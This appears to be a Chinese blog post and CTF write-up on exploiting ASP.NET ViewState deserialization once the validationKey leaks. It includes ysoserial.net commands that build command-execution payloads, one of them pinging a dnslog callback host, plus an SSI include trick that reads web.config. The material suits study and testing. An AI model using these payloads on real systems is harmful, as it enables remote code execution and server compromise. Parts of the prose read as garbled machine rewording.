ASP.NET在ViewState中反序列化利用

ASP.NET在ViewState中反序列化利用

做项目学到一手记录下

viewstate是什么

  1. 按键名称存储每个控件的值,如哈希表
  2. 跟踪对视图状态值的初始状态的更改
  3. 序列化和取消序列化保存的数据到客户端上的隐藏窗体字段
  4. 自动恢复回贴的 ViewState 数据
  • ASP.NET 支持三种不同的开发模式:
    Web Pages(Web 页面)、MVC(Model View Controller 模型-视图-控制器)、Web Forms(Web 窗体)基于 web forms ,目的是为服务端控件状态进行持久化 。

ASP.NET Web应用顺序运用ViewState来庇护页面状况,并在Web表单中保存数据。ViewState参数是Base64序列化后的餐胡,一般会在POST请求中经由历程名为“__VIEWSTATE”的隐蔽参数发送。在效劳器端,将对这个参数举行反序列化,并检索数据。

利用条件

1.得到 validationKey 验证密钥 以及 validation 验证方法或者web.config某种途径的泄露
2.禁用MAC验证功能
默认key合集https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState_Key.txt

利用方式

利用ysoserialg工具生成viewstate payload

在这里插入图片描述

针对.NET Framwork 4.5及以上版本:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

针对.NET Framwork 4.0及以上版本

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping p0xxwc.dnslog.cn" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

如果不知道_VIEWSTATEGENNERATOR参数,就需要知道其路径–path="/somepath/testaspx/test.aspx" --apppath="/testaspx/"

buu某ctf

在这里插入图片描述

题目给出了源码,文件上传黑名单的绕过上传ctm文件

<!-- test.shtml -->
<!--#include file="/web.config" -->

最后读到上面的配置文件,key也知道了

随便post一个包过去

在这里插入图片描述

现在知道viewstate及相关值了,然后ysorial工具

在这里插入图片描述

弹个shell就ok

参考文章:
https://www.4hou.com/posts/GYq7
https://github.com/Illuminopi/RCEvil.NET
https://github.com/pwntester/ysoserial.net

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值